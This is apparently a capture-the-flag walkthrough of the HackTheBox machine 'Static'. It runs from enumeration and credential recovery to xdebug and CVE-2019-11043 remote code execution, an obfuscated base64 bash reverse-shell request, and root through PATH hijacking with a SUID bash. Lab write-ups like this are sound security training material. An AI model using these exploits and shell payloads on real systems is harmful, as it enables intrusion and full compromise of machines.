7 minutes
Static
Enumeration
NMAP
# Nmap 7.91 scan initiated Mon Jul 19 12:51:59 2021 as: nmap -sCV -p22,2222,8080 -oN nmap/nmap 10.10.10.246
Nmap scan report for 10.10.10.246
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
| 256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_ 256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
| 256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_ 256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open http Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 19 12:52:37 2021 -- 1 IP address (1 host up) scanned in 38.48 seconds
- OpenSSH 7.6p1 on port 2222
- OpenSSH 7.9p1 on port 22
- Apache/2.4.38
- robots.txt entries
/vpn/
/.ftp_uploads/
Files hosted at http://10.10.10.246:8080//.ftp_uploads/
┌──(bob㉿kali)-[~/htb/static/ftp_uploads]
└─$ cat warning.txt
Binary files are being corrupted during transfer!!! Check if are recoverable.
We download db.sql.gz
. If we try to uncompress it, we get an error:
┌──(bob㉿kali)-[~/htb/static/ftp_uploads]
└─$ tar zxvf db.sql.gz
gzip: stdin: invalid compressed data--crc error
gzip: stdin: invalid compressed data--length error
tar: Child returned status 1
tar: Error is not recoverable: exiting now
As the waring text suggested, the file got corrupted. This occured when the file was transferred by FTP in ASCII mode instead of BINARY.
We can use this tool to fix it.
(source code)
/* fixgz attempts to fix a binary file transferred in ascii mode by
* removing each extra CR when it followed by LF.
* usage: fixgz bad.gz fixed.gz
* Copyright 1998 Jean-loup Gailly <jloup@gzip.org>
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the author be held liable for any damages
* arising from the use of this software.
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely.
*/
#include <stdio.h>
int main(argc, argv)
int argc;
char **argv;
{
int c1, c2; /* input bytes */
FILE *in; /* corrupted input file */
FILE *out; /* fixed output file */
if (argc <= 2) {
fprintf(stderr, "usage: fixgz bad.gz fixed.gz\n");
exit(1);
}
in = fopen(argv[1], "rb");
if (in == NULL) {
fprintf(stderr, "fixgz: cannot open %s\n", argv[1]);
exit(1);
}
out = fopen(argv[2], "wb");
if (in == NULL) {
fprintf(stderr, "fixgz: cannot create %s\n", argv[2]);
exit(1);
}
c1 = fgetc(in);
while ((c2 = fgetc(in)) != EOF) {
if (c1 != '\r' || c2 != '\n') {
fputc(c1, out);
}
c1 = c2;
}
if (c1 != EOF) {
fputc(c1, out);
}
exit(0);
return 0; /* avoid warning */
}
We are able to fix the corrupted file and get the contents of the sql backup.
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varchar(40) not null, totp varchar(16) not null, primary key (id) );
INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );
The hashed password is admin
.
We can use these creds on /vpn
along with the token.
TOTP - Time-based One-time Password can be generated with oathoool
┌──(bob㉿kali)-[~/htb/static]
└─$ oathtool -b --totp 'orxxi4c7orxwwzlo'
The portal shows the following addresses and server names
Server | Address | Status |
---|---|---|
pub | 172.17.0.10 | Offline |
web | 172.20.0.10 | Online |
db | 172.20.0.11 | Online |
vpn | 172.30.0.1 | Online |
pki | 192.168.254.3 | Online |
The portal allows us to create a vpn profile.
Once connected to the vpn, we can add 172.20.0.0/24
to our network range which will give us access to db
and web
.
sudo route add -net 172.20.0.0/24 gw 172.30.0.1
Looking at our routing table
┌──(bob㉿kali)-[~]
└─$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.0.2.2 0.0.0.0 UG 100 0 0 eth0
10.0.2.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
10.10.10.0 10.10.16.1 255.255.254.0 UG 0 0 0 tun0
10.10.16.0 0.0.0.0 255.255.254.0 U 0 0 0 tun0
172.17.0.0 172.30.0.1 255.255.255.0 UG 0 0 0 tun9
172.20.0.0 172.30.0.1 255.255.255.0 UG 0 0 0 tun9
172.30.0.0 0.0.0.0 255.255.0.0 U 0 0 0 tun9
Browsing http://172.20.0.10/
shows there is an info.php
. If we go through the contents, we can observe that xdebug
is enabled.
There is a module in Metasploit to exploit this.
unix/http/xdebug_unauth_exec
msf6 exploit(unix/http/xdebug_unauth_exec) > options
Module options (exploit/unix/http/xdebug_unauth_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH /vpn/panel.php yes Path to target webapp
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.20.0.10 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes Callback host for accepting connections
SRVPORT 9000 yes Port to listen for the debugger
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
[...]
msf6 exploit(unix/http/xdebug_unauth_exec) > run
[*] Started reverse TCP handler on 172.30.0.9:4444
[*] 172.20.0.10:80 - Waiting for client response.
[*] 172.20.0.10:80 - Receiving response
[*] 172.20.0.10:80 - Shell might take upto a minute to respond.Please be patient.
[*] 172.20.0.10:80 - Sending payload of size 2026 bytes
[*] Sending stage (39282 bytes) to 172.30.0.1
[*] Meterpreter session 1 opened (172.30.0.9:4444 -> 172.30.0.1:52966) at 2021-07-19 17:50:00 -0400
meterpreter >
If we look at the contents of database.php
we get
<?php
$servername = "db";
$username = "root";
$password = "2108@C00l";
$dbname = "static";
?>
root:2108@C00l
With the sql creds we can connect to the DB server
mysql -u root -h 172.20.0.11 -P 3306 -p'2108@C00l'
MariaDB [static]> select * from users;
+----+----------+------------------------------------------+------------------+
| id | username | password | totp |
+----+----------+------------------------------------------+------------------+
| 1 | admin | d033e22ae348aeb5660fc2140aec35850c4da997 | orxxi4c7orxwwzlo |
+----+----------+------------------------------------------+------------------+
This is the same stuff as we obtained from the SQL backup, nothing new.
Looking at /home/
we notice the user.txt
flag is readable.
In www-data
we can grab the ssh key and connect over port 2222.
Linpeas shows
[...]
╔══════════╣ Unexpected in root
/.dockerenv
/entry.sh
We notice that the box has access to eth1 - 192.168.254.2
. We can port fortward to that we can gain access to the PKI box observed previously, 192.168.254.3
ssh -L 80:192.168.254.3:80 -i www_id_rsa www-data@10.10.10.246 -p2222
Once forwarded, we perform a request to the server and inspect the response.
Searching for a vulnerability points to 2019-11043
We can use this exploit to achieve code execution.
┌──(bob㉿kali)-[~/htb/static]
└─$ python exploit.py --url http://localhost/index.php
[*] QSL candidate: 1754, 1759, 1764
[*] Target seems vulnerable (QSL:1754/HVL:224): PHPSESSID=7cf359da3a4d1e124b6519dd6ac137c8; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
We can confirm that this works:
We upload a static ncat
binary to 10.10.10.246
with our ssh key and make a reverse shell call back to its other interface 192.168.254.2
using
GET /index.php?a=/bin/sh+-c+'echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4yLzkwMDEgMD4mMQo%3d+|+base64+-d+|+bash'
You have a format-string vuln, you can proceed to turn it into a write-what-where.
Once you have that gadget working (I suggest you copy ersatool, and the target libc/ld to your local host to work thru this.)
You can use that gadget to
a) Write some stuff to a new stack (e.g. '/bin/sh' ;-) )
b) Write a rop-chain to the stack (e.g. pivot to new stack-frame and/or return to: some place in the code that will cause to run system('/bin/sh') whilst setuid(0) :) )
Looking at index.php
<?php
header('X-Powered-By: PHP-FPM/7.1');
//cn needs to be parsed!!!
$cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_GET['cn']);
echo passthru("/usr/bin/ersatool create ".$cn);
?>
If we transfer pspy
to the box and look at what happens when we execute the binary.
We observe that it is not using the full path, which means we can abuse the PATH
variable.
Let’s create our own openssl
#!/bin/bash
chmod u+s /bin/bash
We change the perms on the file
chmod 755 openssl
Next we include tmp
in our PATH
export PATH=/tmp:$PATH
After running ersatool
we observe that the SUID
bit has been set on bash
www-data@pki:/tmp$ /bin/bash -p
/bin/bash -p
whoami
root